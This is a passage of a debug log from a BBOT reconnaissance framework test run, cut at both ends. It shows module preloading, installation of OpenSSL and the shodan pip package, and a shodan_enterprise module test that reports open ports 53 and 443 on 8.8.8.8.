17:02:59,254 [DEBUG] bbot.module_loader modules.py:152 Preloading emailformat from cache +2026-03-01 17:02:59,255 [DEBUG] bbot.module_loader modules.py:152 Preloading fingerprintx from cache +2026-03-01 17:02:59,255 [DEBUG] bbot.module_loader modules.py:152 Preloading dnscaa from cache +2026-03-01 17:02:59,256 [DEBUG] bbot.module_loader modules.py:152 Preloading bypass403 from cache +2026-03-01 17:02:59,257 [DEBUG] bbot.module_loader modules.py:152 Preloading leakix from cache +2026-03-01 17:02:59,257 [DEBUG] bbot.module_loader modules.py:152 Preloading paramminer_getparams from cache +2026-03-01 17:02:59,258 [DEBUG] bbot.module_loader modules.py:152 Preloading reflected_parameters from cache +2026-03-01 17:02:59,258 [DEBUG] bbot.module_loader modules.py:152 Preloading crt_db from cache +2026-03-01 17:02:59,259 [DEBUG] bbot.module_loader modules.py:152 Preloading bucket_file_enum from cache +2026-03-01 17:02:59,259 [DEBUG] bbot.module_loader modules.py:152 Preloading portscan from cache +2026-03-01 17:02:59,260 [DEBUG] bbot.module_loader modules.py:152 Preloading baddns_direct from cache +2026-03-01 17:02:59,261 [DEBUG] bbot.module_loader modules.py:152 Preloading ajaxpro from cache +2026-03-01 17:02:59,262 [DEBUG] bbot.module_loader modules.py:152 Preloading telerik from cache +2026-03-01 17:02:59,262 [DEBUG] bbot.module_loader modules.py:152 Preloading dnsbimi from cache +2026-03-01 17:02:59,263 [DEBUG] bbot.module_loader modules.py:152 Preloading aspnet_bin_exposure from cache +2026-03-01 17:02:59,263 [DEBUG] bbot.module_loader modules.py:152 Preloading otx from cache +2026-03-01 17:02:59,264 [DEBUG] bbot.module_loader modules.py:152 Preloading github_codesearch from cache +2026-03-01 17:02:59,265 [DEBUG] bbot.module_loader modules.py:152 Preloading dehashed from cache +2026-03-01 17:02:59,265 [DEBUG] bbot.module_loader modules.py:152 Preloading gowitness from cache +2026-03-01 17:02:59,266 [DEBUG] bbot.module_loader modules.py:152 Preloading docker_pull from cache +2026-03-01 17:02:59,267 [DEBUG] bbot.module_loader modules.py:152 Preloading ipneighbor from cache +2026-03-01 17:02:59,267 [DEBUG] bbot.module_loader modules.py:152 Preloading bufferoverrun from cache +2026-03-01 17:02:59,268 [DEBUG] bbot.module_loader modules.py:152 Preloading gitlab_onprem from cache +2026-03-01 17:02:59,269 [DEBUG] bbot.module_loader modules.py:152 Preloading iis_shortnames from cache +2026-03-01 17:02:59,269 [DEBUG] bbot.module_loader modules.py:152 Preloading badsecrets from cache +2026-03-01 17:02:59,270 [DEBUG] bbot.module_loader modules.py:152 Preloading myssl from cache +2026-03-01 17:02:59,270 [DEBUG] bbot.module_loader modules.py:152 Preloading github_workflows from cache +2026-03-01 17:02:59,271 [DEBUG] bbot.module_loader modules.py:152 Preloading dotnetnuke from cache +2026-03-01 17:02:59,271 [DEBUG] bbot.module_loader modules.py:152 Preloading smuggler from cache +2026-03-01 17:02:59,272 [DEBUG] bbot.module_loader modules.py:152 Preloading robots from cache +2026-03-01 17:02:59,272 [DEBUG] bbot.module_loader modules.py:152 Preloading anubisdb from cache +2026-03-01 17:02:59,273 [DEBUG] bbot.module_loader modules.py:152 Preloading oauth from cache +2026-03-01 17:02:59,274 [DEBUG] bbot.module_loader modules.py:152 Preloading github_org from cache +2026-03-01 17:02:59,274 [DEBUG] bbot.module_loader modules.py:152 Preloading portfilter from cache +2026-03-01 17:02:59,275 [DEBUG] bbot.module_loader modules.py:152 Preloading sitedossier from cache +2026-03-01 17:02:59,275 [DEBUG] bbot.module_loader modules.py:141 Preloading modules from /Users/andriikerekhovetskyi/Desktop/bbot/bbot/modules/lightfuzz/submodules +2026-03-01 17:02:59,276 [DEBUG] bbot.module_loader modules.py:154 Preloading esi from disk +2026-03-01 17:02:59,276 [DEBUG] bbot.module_loader modules.py:351 Skipping /Users/andriikerekhovetskyi/Desktop/bbot/bbot/modules/lightfuzz/submodules/esi.py as it is not a valid BBOT module +2026-03-01 17:02:59,277 [DEBUG] bbot.module_loader modules.py:154 Preloading cmdi from disk +2026-03-01 17:02:59,278 [DEBUG] bbot.module_loader modules.py:351 Skipping /Users/andriikerekhovetskyi/Desktop/bbot/bbot/modules/lightfuzz/submodules/cmdi.py as it is not a valid BBOT module +2026-03-01 17:02:59,278 [DEBUG] bbot.module_loader modules.py:154 Preloading xss from disk +2026-03-01 17:02:59,279 [DEBUG] bbot.module_loader modules.py:351 Skipping /Users/andriikerekhovetskyi/Desktop/bbot/bbot/modules/lightfuzz/submodules/xss.py as it is not a valid BBOT module +2026-03-01 17:02:59,280 [DEBUG] bbot.module_loader modules.py:154 Preloading crypto from disk +2026-03-01 17:02:59,283 [DEBUG] bbot.module_loader modules.py:351 Skipping /Users/andriikerekhovetskyi/Desktop/bbot/bbot/modules/lightfuzz/submodules/crypto.py as it is not a valid BBOT module +2026-03-01 17:02:59,283 [DEBUG] bbot.module_loader modules.py:154 Preloading serial from disk +2026-03-01 17:02:59,285 [DEBUG] bbot.module_loader modules.py:351 Skipping /Users/andriikerekhovetskyi/Desktop/bbot/bbot/modules/lightfuzz/submodules/serial.py as it is not a valid BBOT module +2026-03-01 17:02:59,285 [DEBUG] bbot.module_loader modules.py:154 Preloading sqli from disk +2026-03-01 17:02:59,286 [DEBUG] bbot.module_loader modules.py:351 Skipping /Users/andriikerekhovetskyi/Desktop/bbot/bbot/modules/lightfuzz/submodules/sqli.py as it is not a valid BBOT module +2026-03-01 17:02:59,287 [DEBUG] bbot.module_loader modules.py:154 Preloading path from disk +2026-03-01 17:02:59,288 [DEBUG] bbot.module_loader modules.py:351 Skipping /Users/andriikerekhovetskyi/Desktop/bbot/bbot/modules/lightfuzz/submodules/path.py as it is not a valid BBOT module +2026-03-01 17:02:59,289 [DEBUG] bbot.module_loader modules.py:154 Preloading ssti from disk +2026-03-01 17:02:59,289 [DEBUG] bbot.module_loader modules.py:351 Skipping /Users/andriikerekhovetskyi/Desktop/bbot/bbot/modules/lightfuzz/submodules/ssti.py as it is not a valid BBOT module +2026-03-01 17:02:59,290 [DEBUG] bbot.module_loader modules.py:141 Preloading modules from /Users/andriikerekhovetskyi/Desktop/bbot/bbot/modules/output +2026-03-01 17:02:59,291 [DEBUG] bbot.module_loader modules.py:152 Preloading web_parameters from cache +2026-03-01 17:02:59,291 [DEBUG] bbot.module_loader modules.py:152 Preloading discord from cache +2026-03-01 17:02:59,292 [DEBUG] bbot.module_loader modules.py:152 Preloading emails from cache +2026-03-01 17:02:59,293 [DEBUG] bbot.module_loader modules.py:152 Preloading teams from cache +2026-03-01 17:02:59,294 [DEBUG] bbot.module_loader modules.py:152 Preloading txt from cache +2026-03-01 17:02:59,295 [DEBUG] bbot.module_loader modules.py:152 Preloading neo4j from cache +2026-03-01 17:02:59,296 [DEBUG] bbot.module_loader modules.py:152 Preloading asset_inventory from cache +2026-03-01 17:02:59,296 [DEBUG] bbot.module_loader modules.py:152 Preloading sqlite from cache +2026-03-01 17:02:59,297 [DEBUG] bbot.module_loader modules.py:152 Preloading web_report from cache +2026-03-01 17:02:59,298 [DEBUG] bbot.module_loader modules.py:152 Preloading http from cache +2026-03-01 17:02:59,299 [DEBUG] bbot.module_loader modules.py:152 Preloading csv from cache +2026-03-01 17:02:59,299 [DEBUG] bbot.module_loader modules.py:152 Preloading postgres from cache +2026-03-01 17:02:59,300 [DEBUG] bbot.module_loader modules.py:152 Preloading python from cache +2026-03-01 17:02:59,301 [DEBUG] bbot.module_loader modules.py:152 Preloading subdomains from cache +2026-03-01 17:02:59,302 [DEBUG] bbot.module_loader modules.py:152 Preloading stdout from cache +2026-03-01 17:02:59,303 [DEBUG] bbot.module_loader modules.py:152 Preloading nmap_xml from cache +2026-03-01 17:02:59,303 [DEBUG] bbot.module_loader modules.py:152 Preloading json from cache +2026-03-01 17:02:59,304 [DEBUG] bbot.module_loader modules.py:152 Preloading slack from cache +2026-03-01 17:02:59,305 [DEBUG] bbot.module_loader modules.py:152 Preloading splunk from cache +2026-03-01 17:02:59,306 [DEBUG] bbot.module_loader modules.py:152 Preloading mysql from cache +2026-03-01 17:02:59,307 [DEBUG] bbot.module_loader modules.py:152 Preloading websocket from cache +2026-03-01 17:02:59,307 [DEBUG] bbot.module_loader modules.py:141 Preloading modules from /Users/andriikerekhovetskyi/Desktop/bbot/bbot/modules/internal +2026-03-01 17:02:59,308 [DEBUG] bbot.module_loader modules.py:152 Preloading aggregate from cache +2026-03-01 17:02:59,308 [DEBUG] bbot.module_loader modules.py:152 Preloading cloudcheck from cache +2026-03-01 17:02:59,309 [DEBUG] bbot.module_loader modules.py:152 Preloading excavate from cache +2026-03-01 17:02:59,310 [DEBUG] bbot.module_loader modules.py:152 Preloading speculate from cache +2026-03-01 17:02:59,311 [DEBUG] bbot.module_loader modules.py:152 Preloading unarchive from cache +2026-03-01 17:02:59,311 [DEBUG] bbot.module_loader modules.py:152 Preloading dnsresolve from cache +2026-03-01 17:02:59,311 [DEBUG] bbot.module_loader modules.py:141 Preloading modules from /Users/andriikerekhovetskyi/Desktop/bbot/bbot/modules/deadly +2026-03-01 17:02:59,312 [DEBUG] bbot.module_loader modules.py:152 Preloading legba from cache +2026-03-01 17:02:59,313 [DEBUG] bbot.module_loader modules.py:141 Preloading modules from /Users/andriikerekhovetskyi/Desktop/bbot/bbot/modules/lightfuzz +2026-03-01 17:02:59,313 [DEBUG] bbot.module_loader modules.py:152 Preloading lightfuzz from cache +2026-03-01 17:02:59,315 [DEBUG] bbot.module_loader modules.py:141 Preloading modules from /Users/andriikerekhovetskyi/Desktop/bbot/bbot/modules/report +2026-03-01 17:02:59,315 [DEBUG] bbot.module_loader modules.py:152 Preloading asn from cache +2026-03-01 17:02:59,316 [DEBUG] bbot.module_loader modules.py:152 Preloading affiliates from cache +2026-03-01 17:03:00,406 [DEBUG] asyncio selector_events.py:54 Using selector: KqueueSelector +2026-03-01 17:03:00,407 [DEBUG] asyncio selector_events.py:54 Using selector: KqueueSelector +2026-03-01 17:03:00,408 [INFO] bbot base.py:99 Starting shodan_enterprise module test +2026-03-01 17:03:00,569 [DEBUG] bbot.presets preset.py:1003 Preset : Getting baked +2026-03-01 17:03:01,133 [DEBUG] bbot.presets preset.py:1003 Preset : Adding module "shodan_enterprise" of type "scan" +2026-03-01 17:03:01,133 [DEBUG] bbot.presets preset.py:1003 Preset : Adding module "python" of type "output" +2026-03-01 17:03:01,133 [DEBUG] bbot.presets preset.py:1003 Preset : Adding module "unarchive" of type "internal" +2026-03-01 17:03:01,134 [DEBUG] bbot.presets preset.py:1003 Preset : Adding module "dnsresolve" of type "internal" +2026-03-01 17:03:01,338 [WARNING] bbot.scanner scanner.py:1211 You have enabled custom HTTP headers. These will be attached to all in-scope requests and all requests made by httpx. +2026-03-01 17:03:01,339 [DEBUG] bbot base.py:103 Mocking DNS +2026-03-01 17:03:01,449 [DEBUG] bbot base.py:105 Executing setup_before_prep() +2026-03-01 17:03:01,449 [DEBUG] bbot base.py:107 Executing scan._prep() +2026-03-01 17:03:01,507 [HUGEINFO] bbot.scanner scanner.py:1196 Scan seeded with 1 targets (1 in whitelist) +2026-03-01 17:03:01,509 [INFO] bbot.core.helpers.depsinstaller installer.py:470 Installing Ansible Community General Collection +2026-03-01 17:03:01,510 [HUGEVERBOSE] bbot.core.helpers.command command.py:198 run: /Users/andriikerekhovetskyi/Library/Caches/pypoetry/virtualenvs/bbot-hEZ38Iko-py3.10/bin/ansible-galaxy collection install community.general +2026-03-01 17:03:01,982 [INFO] bbot.core.helpers.depsinstaller installer.py:475 Successfully installed Ansible Community General Collection +2026-03-01 17:03:01,983 [INFO] bbot.core.helpers.depsinstaller installer.py:492 Installing core BBOT dependencies: openssl_dev_headers +2026-03-01 17:03:05,052 [SUCCESS] bbot.core.helpers.depsinstaller installer.py:440 Authentication successful +2026-03-01 17:03:05,052 [DEBUG] bbot.core.helpers.depsinstaller installer.py:363 ansible_run(module=None, args=None, ansible_args=None) +2026-03-01 17:03:05,052 [DEBUG] bbot.core.helpers.depsinstaller installer.py:375 { + "hosts": "all", + "tasks": [ + { + "name": "Install OpenSSL library and development headers (Debian/Ubuntu)", + "package": { + "name": [ + "libssl-dev", + "openssl" + ], + "state": "present" + }, + "become": false, + "when": "ansible_facts['os_family'] == 'Debian'", + "ignore_errors": true + }, + { + "name": "Install OpenSSL library and development headers (RedHat/CentOS/Fedora)", + "package": { + "name": [ + "openssl", + "openssl-devel" + ], + "state": "present" + }, + "become": false, + "when": "ansible_facts['os_family'] == 'RedHat' or ansible_facts['os_family'] == 'Suse' ", + "ignore_errors": true + }, + { + "name": "Install OpenSSL library and development headers (Arch)", + "package": { + "name": [ + "openssl" + ], + "state": "present" + }, + "become": false, + "when": "ansible_facts['os_family'] == 'Archlinux'", + "ignore_errors": true + }, + { + "name": "Install OpenSSL library and development headers (Alpine)", + "package": { + "name": [ + "openssl", + "openssl-dev" + ], + "state": "present" + }, + "become": false, + "when": "ansible_facts['os_family'] == 'Alpine'", + "ignore_errors": true + }, + { + "name": "Install OpenSSL library and development headers (FreeBSD)", + "package": { + "name": [ + "openssl" + ], + "state": "present" + }, + "become": false, + "when": "ansible_facts['os_family'] == 'FreeBSD'", + "ignore_errors": true + } + ] +} +2026-03-01 17:03:06,853 [DEBUG] bbot.core.helpers.depsinstaller installer.py:397 Ansible status: successful +2026-03-01 17:03:06,854 [DEBUG] bbot.core.helpers.depsinstaller installer.py:398 Ansible return code: 0 +2026-03-01 17:03:06,859 [DEBUG] bbot.core.helpers.depsinstaller installer.py:170 Installing python - Preloaded Deps {'modules': [], 'pip': [], 'pip_constraints': [], 'shell': [], 'apt': [], 'ansible': [], 'common': []} +2026-03-01 17:03:06,859 [DEBUG] bbot.core.helpers.depsinstaller installer.py:183 No dependency work to do for module "python" +2026-03-01 17:03:06,859 [DEBUG] bbot.core.helpers.depsinstaller installer.py:170 Installing shodan_enterprise - Preloaded Deps {'modules': [], 'pip': ['shodan'], 'pip_constraints': [], 'shell': [], 'apt': [], 'ansible': [], 'common': []} +2026-03-01 17:03:06,860 [HUGEINFO] bbot.core.helpers.depsinstaller installer.py:193 Installing module dependencies. Please be patient, this may take a while. +2026-03-01 17:03:06,860 [VERBOSE] bbot.core.helpers.depsinstaller installer.py:195 Installing dependencies for module "shodan_enterprise" +2026-03-01 17:03:06,860 [INFO] bbot.core.helpers.depsinstaller installer.py:269 Installing the following pip packages: shodan +2026-03-01 17:03:06,865 [HUGEVERBOSE] bbot.core.helpers.command command.py:198 run: /Users/andriikerekhovetskyi/Library/Caches/pypoetry/virtualenvs/bbot-hEZ38Iko-py3.10/bin/python -m pip install --upgrade shodan --constraint /private/tmp/.bbot_test/temp/jv3ord3my5ijocoa70nb +2026-03-01 17:03:07,647 [INFO] bbot.core.helpers.depsinstaller installer.py:288 Requirement already satisfied: filelock>=3.0.8 in /Users/andriikerekhovetskyi/Library/Caches/pypoetry/virtualenvs/bbot-hEZ38Iko-py3.10/lib/python3.10/site-packages (from tldextract->shodan) (3.18.0) +2026-03-01 17:03:07,648 [DEBUG] bbot.core.helpers.depsinstaller installer.py:202 Setup succeeded for module "shodan_enterprise" +2026-03-01 17:03:07,649 [DEBUG] bbot.core.helpers.depsinstaller installer.py:170 Installing unarchive - Preloaded Deps {'modules': [], 'pip': [], 'pip_constraints': [], 'shell': [], 'apt': [], 'ansible': [], 'common': []} +2026-03-01 17:03:07,649 [DEBUG] bbot.core.helpers.depsinstaller installer.py:183 No dependency work to do for module "unarchive" +2026-03-01 17:03:07,650 [DEBUG] bbot.core.helpers.depsinstaller installer.py:170 Installing dnsresolve - Preloaded Deps {'modules': [], 'pip': [], 'pip_constraints': [], 'shell': [], 'apt': [], 'ansible': [], 'common': []} +2026-03-01 17:03:07,650 [DEBUG] bbot.core.helpers.depsinstaller installer.py:183 No dependency work to do for module "dnsresolve" +2026-03-01 17:03:07,651 [VERBOSE] bbot.scanner scanner.py:1181 Loading 1 scan modules: shodan_enterprise +2026-03-01 17:03:07,772 [VERBOSE] bbot.scanner scanner.py:1181 Loaded module "shodan_enterprise" +2026-03-01 17:03:07,772 [INFO] bbot.scanner scanner.py:1191 Loaded 1/1 scan modules (shodan_enterprise) +2026-03-01 17:03:07,772 [VERBOSE] bbot.scanner scanner.py:1181 Loading 2 internal modules: dnsresolve,unarchive +2026-03-01 17:03:07,775 [VERBOSE] bbot.scanner scanner.py:1181 Loaded module "dnsresolve" +2026-03-01 17:03:07,775 [VERBOSE] bbot.scanner scanner.py:1181 Loaded module "unarchive" +2026-03-01 17:03:07,776 [INFO] bbot.scanner scanner.py:1191 Loaded 2/2 internal modules (dnsresolve,unarchive) +2026-03-01 17:03:07,776 [VERBOSE] bbot.scanner scanner.py:1181 Loading 1 output modules: python +2026-03-01 17:03:07,777 [VERBOSE] bbot.scanner scanner.py:1181 Loaded module "python" +2026-03-01 17:03:07,777 [INFO] bbot.scanner scanner.py:1191 Loaded 1/1 output modules, (python) +2026-03-01 17:03:07,778 [VERBOSE] bbot.scanner scanner.py:1181 Setting up modules +2026-03-01 17:03:07,778 [DEBUG] bbot.modules._scan_ingress base.py:1563 Setting up module _scan_ingress +2026-03-01 17:03:07,779 [DEBUG] bbot.modules._scan_ingress base.py:1563 Running _scan_ingress.setup_deps() +2026-03-01 17:03:07,779 [DEBUG] bbot.modules._scan_ingress base.py:1563 Running _scan_ingress.setup() +2026-03-01 17:03:07,779 [DEBUG] bbot.modules._scan_ingress base.py:1563 Finished setting up module _scan_ingress +2026-03-01 17:03:07,780 [DEBUG] bbot.modules.dnsresolve base.py:1563 Setting up module dnsresolve +2026-03-01 17:03:07,780 [DEBUG] bbot.modules.dnsresolve base.py:1563 Running dnsresolve.setup_deps() +2026-03-01 17:03:07,780 [DEBUG] bbot.modules.dnsresolve base.py:1563 Running dnsresolve.setup() +2026-03-01 17:03:07,780 [DEBUG] bbot.modules.dnsresolve base.py:1563 Finished setting up module dnsresolve +2026-03-01 17:03:07,781 [DEBUG] bbot.modules.shodan_enterprise base.py:1563 Setting up module shodan_enterprise +2026-03-01 17:03:07,781 [DEBUG] bbot.modules.shodan_enterprise base.py:1563 Running shodan_enterprise.setup_deps() +2026-03-01 17:03:07,781 [DEBUG] bbot.modules.shodan_enterprise base.py:1563 Running shodan_enterprise.setup() +2026-03-01 17:03:07,781 [DEBUG] bbot.modules.shodan_enterprise base.py:1563 Finished setting up module shodan_enterprise +2026-03-01 17:03:07,782 [DEBUG] bbot.modules.internal.unarchive base.py:1563 Setting up module unarchive +2026-03-01 17:03:07,782 [DEBUG] bbot.modules.internal.unarchive base.py:1563 Running unarchive.setup_deps() +2026-03-01 17:03:07,782 [DEBUG] bbot.modules.internal.unarchive base.py:1563 Running unarchive.setup() +2026-03-01 17:03:07,782 [DEBUG] bbot.modules.internal.unarchive base.py:1563 Finished setting up module unarchive +2026-03-01 17:03:07,782 [DEBUG] bbot.modules.output.python base.py:1563 Setting up module python +2026-03-01 17:03:07,783 [DEBUG] bbot.modules.output.python base.py:1563 Running python.setup_deps() +2026-03-01 17:03:07,783 [DEBUG] bbot.modules.output.python base.py:1563 Running python.setup() +2026-03-01 17:03:07,783 [DEBUG] bbot.modules.output.python base.py:1563 Finished setting up module python +2026-03-01 17:03:07,783 [DEBUG] bbot.modules._scan_egress base.py:1563 Setting up module _scan_egress +2026-03-01 17:03:07,784 [DEBUG] bbot.modules._scan_egress base.py:1563 Running _scan_egress.setup_deps() +2026-03-01 17:03:07,784 [DEBUG] bbot.modules._scan_egress base.py:1563 Running _scan_egress.setup() +2026-03-01 17:03:07,784 [DEBUG] bbot.modules._scan_egress base.py:1563 Finished setting up module _scan_egress +2026-03-01 17:03:07,784 [DEBUG] bbot.scanner scanner.py:1176 Setup succeeded for _scan_egress (success) +2026-03-01 17:03:07,784 [DEBUG] bbot.scanner scanner.py:1176 Setup succeeded for dnsresolve (success) +2026-03-01 17:03:07,785 [DEBUG] bbot.scanner scanner.py:1176 Setup succeeded for shodan_enterprise (success) +2026-03-01 17:03:07,785 [DEBUG] bbot.scanner scanner.py:1176 Setup succeeded for python (success) +2026-03-01 17:03:07,785 [DEBUG] bbot.scanner scanner.py:1176 Setup succeeded for _scan_ingress (success) +2026-03-01 17:03:07,785 [DEBUG] bbot.scanner scanner.py:1176 Setup succeeded for unarchive (success) +2026-03-01 17:03:07,785 [DEBUG] bbot.scanner scanner.py:1176 Setting intercept module dnsresolve._incoming_event_queue to previous intercept module _scan_ingress.outgoing_event_queue +2026-03-01 17:03:07,786 [DEBUG] bbot.scanner scanner.py:1176 Setting intercept module _scan_egress._incoming_event_queue to previous intercept module dnsresolve.outgoing_event_queue +2026-03-01 17:03:07,786 [SUCCESS] bbot.scanner scanner.py:1201 Setup succeeded for 6/6 modules. +2026-03-01 17:03:07,786 [DEBUG] bbot base.py:109 Executing setup_after_prep() +2026-03-01 17:03:07,787 [DEBUG] bbot base.py:111 Starting scan +2026-03-01 17:03:07,927 [HUGESUCCESS] bbot.scanner scanner.py:1206 Starting scan testshodan_enterprise_test_i36zm0yzpu +2026-03-01 17:03:07,927 [VERBOSE] bbot.scanner scanner.py:1181 Starting module worker loops +2026-03-01 17:03:08,034 [VERBOSE] bbot.scanner scanner.py:1181 6 modules started +2026-03-01 17:03:08,035 [DEBUG] bbot.scanner scanner.py:1176 Setting scan status to STARTING +2026-03-01 17:03:08,035 [DEBUG] bbot.scanner scanner.py:1176 Setting scan status to RUNNING +2026-03-01 17:03:08,036 [VERBOSE] bbot.modules._scan_ingress base.py:1579 Target: IP_ADDRESS("8.8.8.8", module=TARGET, tags={'target', 'distance-1', 'ipv4'}) +2026-03-01 17:03:08,137 [DEBUG] bbot.modules._scan_ingress base.py:1563 IP_ADDRESS("8.8.8.8", module=TARGET, tags={'target', 'distance-1', 'ipv4'}) passed post-check +2026-03-01 17:03:08,137 [DEBUG] bbot.modules._scan_ingress base.py:1563 Intercepting IP_ADDRESS("8.8.8.8", module=TARGET, tags={'target', 'distance-1', 'ipv4'}) +2026-03-01 17:03:08,139 [DEBUG] bbot.modules._scan_ingress base.py:1563 Making IP_ADDRESS("8.8.8.8", module=TARGET, tags={'target', 'distance-1', 'ipv4'}) in-scope because its main host matches the scan target +2026-03-01 17:03:08,139 [DEBUG] bbot.modules._scan_ingress base.py:1563 Forwarding IP_ADDRESS("8.8.8.8", module=TARGET, tags={'in-scope', 'target', 'ipv4'}) +2026-03-01 17:03:08,141 [DEBUG] bbot.modules._scan_ingress base.py:1563 SCAN("{'id': 'SCAN:7c78e1289971b1bfb05bb4122bbe8b6b88f127a4', 'name': 'testshodan_ente...", module=TARGET, tags=set()) passed post-check +2026-03-01 17:03:08,141 [DEBUG] bbot.modules._scan_ingress base.py:1563 Intercepting SCAN("{'id': 'SCAN:7c78e1289971b1bfb05bb4122bbe8b6b88f127a4', 'name': 'testshodan_ente...", module=TARGET, tags=set()) +2026-03-01 17:03:08,142 [DEBUG] bbot.modules.dnsresolve base.py:1563 IP_ADDRESS("8.8.8.8", module=TARGET, tags={'in-scope', 'target', 'ipv4'}) passed post-check +2026-03-01 17:03:08,143 [DEBUG] bbot.modules.dnsresolve base.py:1563 Intercepting IP_ADDRESS("8.8.8.8", module=TARGET, tags={'in-scope', 'target', 'ipv4'}) +2026-03-01 17:03:08,144 [DEBUG] bbot.modules._scan_ingress base.py:1563 Forwarding SCAN("{'id': 'SCAN:7c78e1289971b1bfb05bb4122bbe8b6b88f127a4', 'name': 'testshodan_ente...", module=TARGET, tags=set()) +2026-03-01 17:03:08,146 [DEBUG] bbot.modules.dnsresolve base.py:1563 Not intercepting SCAN("{'id': 'SCAN:7c78e1289971b1bfb05bb4122bbe8b6b88f127a4', 'name': 'testshodan_ente...", module=TARGET, tags=set()) because postcheck failed (it did not meet custom filter criteria: event does not have host attribute) +2026-03-01 17:03:08,146 [DEBUG] bbot.modules.dnsresolve base.py:1563 Forwarding SCAN("{'id': 'SCAN:7c78e1289971b1bfb05bb4122bbe8b6b88f127a4', 'name': 'testshodan_ente...", module=TARGET, tags=set()) +2026-03-01 17:03:08,147 [DEBUG] bbot.modules._scan_egress base.py:1563 SCAN("{'id': 'SCAN:7c78e1289971b1bfb05bb4122bbe8b6b88f127a4', 'name': 'testshodan_ente...", module=TARGET, tags=set()) passed post-check +2026-03-01 17:03:08,148 [DEBUG] bbot.modules._scan_egress base.py:1563 Intercepting SCAN("{'id': 'SCAN:7c78e1289971b1bfb05bb4122bbe8b6b88f127a4', 'name': 'testshodan_ente...", module=TARGET, tags=set()) +2026-03-01 17:03:08,150 [DEBUG] bbot.modules._scan_egress base.py:1563 Forwarding SCAN("{'id': 'SCAN:7c78e1289971b1bfb05bb4122bbe8b6b88f127a4', 'name': 'testshodan_ente...", module=TARGET, tags=set()) +2026-03-01 17:03:08,150 [DEBUG] bbot.modules.output.python base.py:1563 Queueing SCAN("{'id': 'SCAN:7c78e1289971b1bfb05bb4122bbe8b6b88f127a4', 'name': 'testshodan_ente...", module=TARGET, tags=set()) because precheck succeeded +2026-03-01 17:03:08,154 [DEBUG] bbot.modules.dnsresolve base.py:1563 Forwarding IP_ADDRESS("8.8.8.8", module=TARGET, tags={'in-scope', 'target', 'ipv4'}) +2026-03-01 17:03:08,155 [DEBUG] bbot.modules._scan_egress base.py:1563 IP_ADDRESS("8.8.8.8", module=TARGET, tags={'in-scope', 'target', 'ipv4'}) passed post-check +2026-03-01 17:03:08,155 [DEBUG] bbot.modules._scan_egress base.py:1563 Intercepting IP_ADDRESS("8.8.8.8", module=TARGET, tags={'in-scope', 'target', 'ipv4'}) +2026-03-01 17:03:08,156 [DEBUG] bbot.modules._scan_egress base.py:1563 Forwarding IP_ADDRESS("8.8.8.8", module=TARGET, tags={'in-scope', 'target', 'ipv4'}) +2026-03-01 17:03:08,157 [DEBUG] bbot.modules.shodan_enterprise base.py:1563 Queueing IP_ADDRESS("8.8.8.8", module=TARGET, tags={'in-scope', 'target', 'ipv4'}) because precheck succeeded +2026-03-01 17:03:08,157 [DEBUG] bbot.modules.output.python base.py:1563 Queueing IP_ADDRESS("8.8.8.8", module=TARGET, tags={'in-scope', 'target', 'ipv4'}) because precheck succeeded +2026-03-01 17:03:08,158 [DEBUG] bbot.modules.shodan_enterprise base.py:1563 Got IP_ADDRESS("8.8.8.8", module=TARGET, tags={'in-scope', 'target', 'ipv4'}) from TARGET +2026-03-01 17:03:08,158 [DEBUG] bbot.modules.shodan_enterprise base.py:1563 IP_ADDRESS("8.8.8.8", module=TARGET, tags={'in-scope', 'target', 'ipv4'}) passed post-check +2026-03-01 17:03:08,158 [DEBUG] bbot.modules.shodan_enterprise base.py:1563 Handling IP_ADDRESS("8.8.8.8", module=TARGET, tags={'in-scope', 'target', 'ipv4'}) +2026-03-01 17:03:08,247 [DEBUG] bbot.modules.shodan_enterprise base.py:1563 Finished handling IP_ADDRESS("8.8.8.8", module=TARGET, tags={'in-scope', 'target', 'ipv4'}) +2026-03-01 17:03:08,248 [DEBUG] bbot.modules.output.python base.py:1563 Got SCAN("{'id': 'SCAN:7c78e1289971b1bfb05bb4122bbe8b6b88f127a4', 'name': 'testshodan_ente...", module=TARGET, tags=set()) from TARGET +2026-03-01 17:03:08,248 [DEBUG] bbot.modules.output.python base.py:1563 SCAN("{'id': 'SCAN:7c78e1289971b1bfb05bb4122bbe8b6b88f127a4', 'name': 'testshodan_ente...", module=TARGET, tags=set()) passed post-check +2026-03-01 17:03:08,249 [DEBUG] bbot.modules.output.python base.py:1563 Got IP_ADDRESS("8.8.8.8", module=TARGET, tags={'in-scope', 'target', 'ipv4'}) from TARGET +2026-03-01 17:03:08,249 [DEBUG] bbot.modules.output.python base.py:1563 IP_ADDRESS("8.8.8.8", module=TARGET, tags={'in-scope', 'target', 'ipv4'}) passed post-check +2026-03-01 17:03:08,249 [DEBUG] bbot.modules._scan_ingress base.py:1563 OPEN_UDP_PORT("8.8.8.8:53", module=shodan_enterprise, tags={'in-scope'}) passed post-check +2026-03-01 17:03:08,250 [DEBUG] bbot.modules._scan_ingress base.py:1563 Intercepting OPEN_UDP_PORT("8.8.8.8:53", module=shodan_enterprise, tags={'in-scope'}) +2026-03-01 17:03:08,251 [DEBUG] bbot.modules._scan_ingress base.py:1563 Making OPEN_UDP_PORT("8.8.8.8:53", module=shodan_enterprise, tags={'in-scope'}) in-scope because its main host matches the scan target +2026-03-01 17:03:08,251 [DEBUG] bbot.modules._scan_ingress base.py:1563 Forwarding OPEN_UDP_PORT("8.8.8.8:53", module=shodan_enterprise, tags={'in-scope'}) +2026-03-01 17:03:08,252 [DEBUG] bbot.modules._scan_ingress base.py:1563 OPEN_TCP_PORT("8.8.8.8:443", module=shodan_enterprise, tags={'in-scope'}) passed post-check +2026-03-01 17:03:08,252 [DEBUG] bbot.modules._scan_ingress base.py:1563 Intercepting OPEN_TCP_PORT("8.8.8.8:443", module=shodan_enterprise, tags={'in-scope'}) +2026-03-01 17:03:08,253 [DEBUG] bbot.modules.dnsresolve base.py:1563 OPEN_UDP_PORT("8.8.8.8:53", module=shodan_enterprise, tags={'in-scope'}) passed post-check +2026-03-01 17:03:08,253 [DEBUG] bbot.modules.dnsresolve base.py:1563 Intercepting OPEN_UDP_PORT("8.8.8.8:53", module=shodan_enterprise, tags={'in-scope'}) +2026-03-01 17:03:08,253 [DEBUG] bbot.modules._scan_ingress base.py:1563 Making OPEN_TCP_PORT("8.8.8.8:443", module=shodan_enterprise, tags={'in-scope'}) in-scope because its main host matches the scan target +2026-03-01 17:03:08,254 [DEBUG] bbot.modules._scan_ingress base.py:1563 Forwarding OPEN_TCP_PORT("8.8.8.8:443", module=shodan_enterprise, tags={'in-scope'}) +2026-03-01 17:03:08,254 [DEBUG] bbot.modules._scan_ingress base.py:1563 